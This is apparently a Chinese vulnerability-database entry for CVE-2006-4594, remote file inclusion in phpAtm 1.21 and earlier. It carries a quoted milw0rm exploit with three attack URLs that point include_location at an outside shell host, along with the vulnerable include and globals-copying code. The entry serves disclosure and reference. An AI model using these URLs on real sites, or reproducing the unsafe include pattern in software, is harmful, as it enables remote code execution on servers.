PHP Advanced Transfer Manager 多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110925 漏洞类型 输入验证
发布时间 2006-08-30 更新时间 2006-09-15
CVE编号 CVE-2006-4594 CNNVD-ID CNNVD-200609-059
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2279
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-059
|漏洞详情
PHPAdvancedTransferManager(phpAtm)1.21及更早版本中存在多个PHP远程文件包含漏洞,远程攻击者可以通过(1)confirm.php或(2)login.php的include_location参数中的URL执行任意PHP代码。
|漏洞EXP
########################################################################
#  phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit
#   
#   Level : Dangerous        
#   Download  : http://phpatm.free.fr/
#   Version : v1.21  
#   
#                           Found By: KinSize [MHG Security Team]
#
########################################################################
# Code :   include($include_location.'include/conf.php');
#
#  exploit:
# http://www.sitename.com/[script_path]/confirm.php?include_location=http://shellurl.com ?   
# http://www.sitename.com/[script_path]/index.php?include_location=http://shellurl.com ?    
# http://www.sitename.com/[script_path]/login.php?include_location=http://shellurl.com ?
########################################################################
#
#Conatact : nefretaskimdir[at]gmail.com
#
# GreetZ : Damage-N | by_emr3  | by_OkSit  | ESKOBAR  | Ye.iL  | PowerCobra  | sys-worm(Turkish)| Z e b e r u S | ALL Turkish & MusLim
########################################################################

Added information:

At first glance this doesn't look vulnerable but then again:

line 85-94 of common.php
while (list(, $arr) = each($sysarr))
{
        if (is_array($arr))
        {
                while (list($key, $value) = each($arr))
                {
                        $GLOBALS[$key] = $value;
                }
        }
}

/str0ke

# milw0rm.com [2006-08-30]
|参考资料

来源:XF
名称:phpatm-include-file-include(28670)
链接:http://xforce.iss.net/xforce/xfdb/28670
来源:BID
名称:19765
链接:http://www.securityfocus.com/bid/19765
来源:MILW0RM
名称:2279
链接:http://www.milw0rm.com/exploits/2279
来源:MILW0RM
名称:2279
链接:http://milw0rm.com/exploits/2279